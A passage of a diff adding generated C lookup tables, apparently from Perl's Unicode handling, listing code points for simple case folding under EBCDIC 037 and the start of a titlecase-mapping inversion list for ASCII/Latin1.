+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9B,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD8,
+	0x1FDA,
+	0x1FDC,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
+	0xA7AF,
+	0xA7B0,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xAB70,
+	0xABC0,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const int Simple_Case_Folding_invmap[] = { /* for EBCDIC 037 */
+	0,
+	0x42,
+	0,
+	0x51,
+	0,
+	0x70,
+	0,
+	0x9C,
+	0,
+	0x3BC,
+	0,
+	0x8C,
+	0,
+	0x81,
+	0,
+	0x91,
+	0,
+	0xA2,
+	0,
+	0xCB,
+	0,
+	0xDB,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xDF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0xA2,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x3B9,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	0,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0x3B2,
+	0x3B8,
+	0,
+	0x3C6,
+	0x3C0,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3BA,
+	0x3C1,
+	0,
+	0x3B8,
+	0x3B5,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0x13F0,
+	0,
+	0x432,
+	0x434,
+	0x43E,
+	0x441,
+	0x442,
+	0x44A,
+	0x463,
+	0xA64B,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	0x1E61,
+	0,
+	0x59,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
+	0x1F60,
+	0,
+	0x1F80,
+	0,
+	0x1F90,
+	0,
+	0x1FA0,
+	0,
+	0x1FB0,
+	0x1F70,
+	0x1FB3,
+	0,
+	0x3B9,
+	0,
+	0x1F72,
+	0x1FC3,
+	0,
+	0x1FD0,
+	0x1F76,
+	0,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	0x1F78,
+	0x1F7C,
+	0x1FF3,
+	0,
+	0x3C9,
+	0,
+	0x92,
+	0x47,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0x13A0,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV Titlecase_Mapping_invlist[] = { /* for ASCII/Latin1 */
+	1318,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xDF,
+	0xE0,
+	0xF7,
+	0xF8,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
